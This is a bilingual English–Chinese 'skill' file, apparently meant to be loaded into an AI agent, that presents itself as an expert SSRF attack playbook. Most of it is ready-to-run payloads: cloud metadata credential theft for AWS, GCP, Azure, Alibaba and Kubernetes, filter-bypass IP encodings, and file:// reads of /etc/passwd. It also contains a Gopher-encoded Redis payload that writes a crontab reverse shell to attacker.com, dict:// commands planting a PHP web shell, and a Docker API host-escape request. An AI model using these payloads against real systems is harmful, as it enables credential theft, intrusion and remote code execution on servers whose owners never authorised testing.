ssrf-server-side-request-forgery

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook

SKILL: 服务端请求伪造(SSRF)—— 高级攻击手册

AI LOAD INSTRUCTION: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion SCENARIOS.md.
AI加载说明:高级SSRF技术,覆盖URL过滤器绕过、云元数据端点、协议利用、盲SSRF检测,以及串联到RCE的利用链。基础模型仅了解基础的169.254.169.254相关知识,本文件包含基础模型缺失的进阶内容。如需真实世界CVE利用链、DNS Rebinding深度解析、K8s SSRF、SSRF→Redis→RCE完整利用流程,请加载配套的SCENARIOS.md

0. QUICK START

0. 快速入门

Extended Scenarios

扩展场景

Also load SCENARIOS.md when you need:
  • WebLogic SSRF (CVE-2014-4210) —
    uddiexplorer/SearchPublicRegistries.jsp
    +
    operator
    parameter +
    %0D%0A
    CRLF to inject Redis commands
  • SSRF → internal Redis → write crontab reverse shell complete payload chain
  • DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution,
    rbndr.us
    service
  • Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
  • SSRF through PDF/screenshot generators —
    <iframe>
    and
    <img>
    in HTML-to-PDF
  • Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
  • URL parser confusion for filter bypass —
    #@
    ,
    \@
    ,
    %00@
    , IPv6-mapped IPv4
如果只是刚发现一个会取 URL 的参数,直接在这里做第一轮确认即可。
当你需要以下内容时也请加载SCENARIOS.md
  • WebLogic SSRF(CVE-2014-4210)——
    uddiexplorer/SearchPublicRegistries.jsp
    +
    operator
    参数 +
    %0D%0A
    CRLF注入Redis命令
  • SSRF→内部Redis→写入crontab反弹shell完整 payload 链
  • DNS Rebinding 深度解析——TTL=0技巧、初始合法→二次内部解析、
    rbndr.us
    服务
  • Kubernetes SSRF(CVE-2020-8555)以及通过DNS重绑定的绕过方法(CVE-2020-8562)
  • 通过PDF/截图生成工具的SSRF——HTML转PDF中的
    <iframe>
    <img>
    标签
  • Gopher协议全量TCP注入——通过Gopherus生成Redis、MySQL、FastCGI payload
  • 利用URL解析器混淆绕过过滤——
    #@
    \@
    %00@
    、IPv6映射的IPv4地址
如果只是刚发现一个会取URL的参数,直接在这里做第一轮确认即可。

First-pass payloads

首轮测试payload

text
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
text
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

Host validation bypass families

主机校验绕过分类

Validation TypeTry
blocks
localhost
string
127.0.0.1
,
127.1
,
[::1]
blocks direct IP onlyinternal DNS name, decimal/octal/hex IP forms
allowlist by prefixusername part, subdomain confusion, redirect chain
follows redirectsbenign external URL redirecting to internal target
parses once, fetches twicemixed encoding or DNS rebinding style targets
校验类型测试方案
拦截
localhost
字符串
127.0.0.1
,
127.1
,
[::1]
仅拦截直接IP内部DNS名称、十进制/八进制/十六进制IP格式
前缀白名单校验用户名部分、子域名混淆、重定向链
跟随重定向跳转到内部目标的无害外部URL
仅解析一次、实际请求两次混合编码或者DNS重绑定风格的目标

Protocol routing

协议路由选择

GoalProtocol / Target
cloud credentialsmetadata HTTP endpoints
internal HTTP admin
http://127.0.0.1:port/
Redis / raw TCP style abuse
gopher://
local file read candidate
file://
dictionary / banner tests
dict://

目标协议 / 目标地址
云凭证元数据HTTP端点
内部HTTP后台
http://127.0.0.1:port/
Redis / 原始TCP类滥用
gopher://
本地文件读取候选
file://
字典 / 服务标识测试
dict://

1. FINDING SSRF SURFACE

1. 查找SSRF攻击面

Look for any parameter containing DNS names, IP addresses, or URLs:
loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=
Less obvious SSRF vectors:
  • PDF/screenshot generation (URL to capture)
  • Webhook configuration fields
  • Import/export via URL (CSV import, RSS/Atom feeds)
  • OAuth redirect URI (sometimes triggers server-side fetch)
  • X-Forwarded-Host
    /
    X-Real-IP
    headers in proxy chains
  • XML
    DOCTYPE
    with external entity (
    file://
    ,
    http://
    )
  • GraphQL
    @link
    directive (federation)
  • Content-Type:
    text/html
    pages parsed for
    <link>
    preload headers

寻找任何包含DNS名称、IP地址或者URL的参数
loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=
不太明显的SSRF攻击向量
  • PDF/截图生成(需要捕获的URL)
  • Webhook配置字段
  • 基于URL的导入/导出功能(CSV导入、RSS/Atom订阅源)
  • OAuth重定向URI(有时会触发服务端请求)
  • 代理链中的
    X-Forwarded-Host
    /
    X-Real-IP
    请求头
  • 包含外部实体的XML
    DOCTYPE
    file://
    ,
    http://
  • GraphQL
    @link
    指令(联邦模式)
  • Content-Type为
    text/html
    的页面会解析
    <link>
    预加载头

2. BASIC CONFIRMATION METHODOLOGY

2. 基础验证方法

Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)

步骤1:传入你的Burp Collaborator / interact.sh URL
        → 检查服务器是否发起出站连接(确认存在完整SSRF)

步骤2:如果没有回调 → 测试时间差(开放端口响应快,关闭端口响应慢/重置):
        对比以下地址的响应时间:
        http://192.168.1.1:22   (大概率开放 → 响应快)
        http://192.168.1.1:9999 (大概率关闭 → 响应慢/超时)

步骤3:尝试访问本地服务:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379 (Redis)
        http://127.0.0.1:9200 (Elasticsearch)
        http://127.0.0.1:5984 (CouchDB)
        http://127.0.0.1:2375 (Docker守护进程 —— 高危!)
        http://127.0.0.1:4840 (内部管理后台)

3. CLOUD METADATA ENDPOINTS — MUST-TRY

3. 云元数据端点 —— 必测项

AWS EC2 IMDSv1 (no auth required — critical)

AWS EC2 IMDSv1(无需认证 —— 高危)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2 (token required — but check if SSRF can GET the token)

AWS IMDSv2(需要token —— 但可以检查SSRF是否能获取token)

Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN
If SSRF supports custom headers → full IMDSv2 bypass.
步骤1:PUT http://169.254.169.254/latest/api/token
        请求头: X-aws-ec2-metadata-token-ttl-seconds: 21600
步骤2:GET http://169.254.169.254/latest/meta-data/
        请求头: X-aws-ec2-metadata-token: TOKEN
如果SSRF支持自定义请求头 → 可完全绕过IMDSv2防护

Google Cloud

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
请求头: Metadata-Flavor: Google

Azure

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
请求头: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

Alibaba Cloud

阿里云

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes Service Account

Kubernetes服务账号

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

4. IP ADDRESS FILTER BYPASS TECHNIQUES

4. IP地址过滤绕过技术

When
169.254.169.254
,
127.0.0.1
,
localhost
are blocked:
169.254.169.254
127.0.0.1
localhost
被拦截时:

Localhost Variants

Localhost变体

127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
127.0.0.1
127.1
127.0.1
127.000.000.001    ← 八进制补零
0x7f000001         ← 十六进制
2130706433         ← 十进制(对应0x7f000001)
0177.0000.0000.0001  ← 八进制
[::]               ← IPv6回环地址
[::1]              ← IPv6回环地址
[::ffff:127.0.0.1] ← IPv4映射的IPv6地址

169.254.169.254 Variants

169.254.169.254变体

169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service
169.254.169.254
2852039166               ← 十进制
0xa9fea9fe               ← 十六进制
0251.0376.0251.0376      ← 八进制
[::ffff:169.254.169.254] ← IPv6地址
169.254.169.254.nip.io   ← DNS重绑定服务

Private Network Ranges

私有网络网段

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6私有网段

Bypass Filter via DNS Input

通过DNS输入绕过过滤

If filter checks DNS-resolved IP (not hostname):
http://attacker.com/  ← DNS A record points to 169.254.169.254
Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.

如果过滤器校验的是DNS解析后的IP(而非主机名):
http://attacker.com/  ← DNS A记录指向169.254.169.254
使用DNS重绑定:首次查询返回合法IP → 通过过滤 → 第二次请求返回内部IP。

5. URL SCHEME ATTACKS

5. URL scheme攻击

When
http://
is allowed or weakly filtered:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection
http://
被允许或者过滤较弱时:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← 泄露内部网络ARP表
file:///proc/net/tcp   ← 开放的网络连接

dict://127.0.0.1:6379/INFO   ← 通过dict://执行Redis INFO命令

gopher://127.0.0.1:6379/_INFO%0d%0a   ← 通过gopher访问Redis
gopher://127.0.0.1:9200/   ← 访问Elasticsearch

sftp://attacker.com:11111/   ← 触发SFTP连接(可获取凭证哈希)
ldap://attacker.com:389/     ← 触发LDAP绑定
ftp://attacker.com/          ← 触发FTP连接

Redis Gopher SSRF (full RCE potential)

Redis Gopher SSRF(具备完整RCE能力)

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

6. BLIND SSRF DETECTION

6. 盲SSRF检测

When response doesn't reflect fetched content:
  1. Burp Collaborator / interact.sh: check for DNS + HTTP request from server
  2. Pingback/webhook abuse: configure application's own webhook to your URL
  3. Timing analysis: Internal open port vs closed port response time difference
  4. Error analysis: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology

当响应不返回获取到的内容时:
  1. Burp Collaborator / interact.sh:检查是否有来自服务器的DNS+HTTP请求
  2. Pingback/webhook滥用:将应用自身的webhook配置为你的URL
  3. 时间分析:内部开放端口和关闭端口的响应时间差
  4. 错误分析:「主机未找到」、「连接被拒绝」、「超时」等不同错误信息可以揭露内部网络拓扑

7. INTERNAL SERVICE EXPLOITATION

7. 内部服务利用

Docker API (2375 unauthenticated)

Docker API(2375端口未授权访问)

http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
http://127.0.0.1:2375/v1.24/containers/json      ← 列出容器
http://127.0.0.1:2375/v1.24/images/json          ← 列出镜像

Create privileged container → escape to host:

创建特权容器 → 逃逸到宿主机:

POST http://127.0.0.1:2375/v1.24/containers/create {"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
undefined
POST http://127.0.0.1:2375/v1.24/containers/create {"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
undefined

Elasticsearch (9200 no-auth default)

Elasticsearch(9200端口默认无认证)

http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*

Redis (6379 — no-auth common)

Redis(6379端口常见无认证配置)

dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE

Internal Admin Panels

内部管理后台

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/shutdown
http://127.0.0.1:9000/actuator/env

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator(暴露端点)
http://127.0.0.1:9000/actuator/shutdown
http://127.0.0.1:9000/actuator/env

8. SSRF + FILTER BYPASS DECISION TREE

8. SSRF+过滤器绕过决策树

SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│   ├── Try decimal/hex/octal variants
│   ├── Try IPv6 variants [::ffff:169.254.169.254]
│   ├── Try DNS rebinding (nip.io, custom NS)
│   └── Try redirect: attacker.com → 169.254.169.254 (302)
├── Try http://127.0.0.1/ → blocked?
│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── Try localhost → might not be blocked
│   └── Try IPv6 [::1]
├── What protocols are allowed?
│   ├── dict:// → test Redis, Memcached
│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
│   ├── file:// → local file read
│   └── sftp:// ldap:// ftp:// → network interactions
└── Blind SSRF → use Burp Collaborator
    └── DNS-only → use DNS rebinding or SSRF with OOB DNS

找到SSRF参数了?
├── 直接尝试http://169.254.169.254/ → 被拦截?
│   ├── 尝试十进制/十六进制/八进制变体
│   ├── 尝试IPv6变体[::ffff:169.254.169.254]
│   ├── 尝试DNS重绑定(nip.io、自定义NS)
│   └── 尝试重定向:attacker.com → 169.254.169.254(302)
├── 尝试http://127.0.0.1/ → 被拦截?
│   ├── 尝试127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── 尝试localhost → 可能未被拦截
│   └── 尝试IPv6 [::1]
├── 允许哪些协议?
│   ├── dict:// → 测试Redis、Memcached
│   ├── gopher:// → 全量TCP数据注入(目标Redis/SMTP)
│   ├── file:// → 本地文件读取
│   └── sftp:// ldap:// ftp:// → 网络交互
└── 盲SSRF → 使用Burp Collaborator
    └── 仅DNS → 使用DNS重绑定或者带外DNS的SSRF

9. THE SSRF-FILTER MINDSET

9. SSRF过滤器的常见思维误区

From zseano's methodology: if developers filter only
169.254.169.254
directly but not
http://169.254.169.254/latest/meta-data
(full path), or forget about:
  • IPv6 equivalents
  • DNS names that resolve to internal IPs
  • Redirect chains (server follows 302 to internal IP)
Classic gap: App filters
127.0.0.1
but not
127.1
or
[::1]
or
localhost
.
Application-layer SSRF via XML (when app parses XML):
xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>
来自zseano的方法论:如果开发者仅直接过滤
169.254.169.254
,但不过滤
http://169.254.169.254/latest/meta-data
(完整路径)
,或者忘记了:
  • IPv6等价地址
  • 解析到内部IP的DNS名称
  • 重定向链(服务器跟随302跳转到内部IP)
典型漏洞缺口:应用过滤了
127.0.0.1
但没有过滤
127.1
[::1]
或者
localhost
基于XML的应用层SSRF(当应用解析XML时):
xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>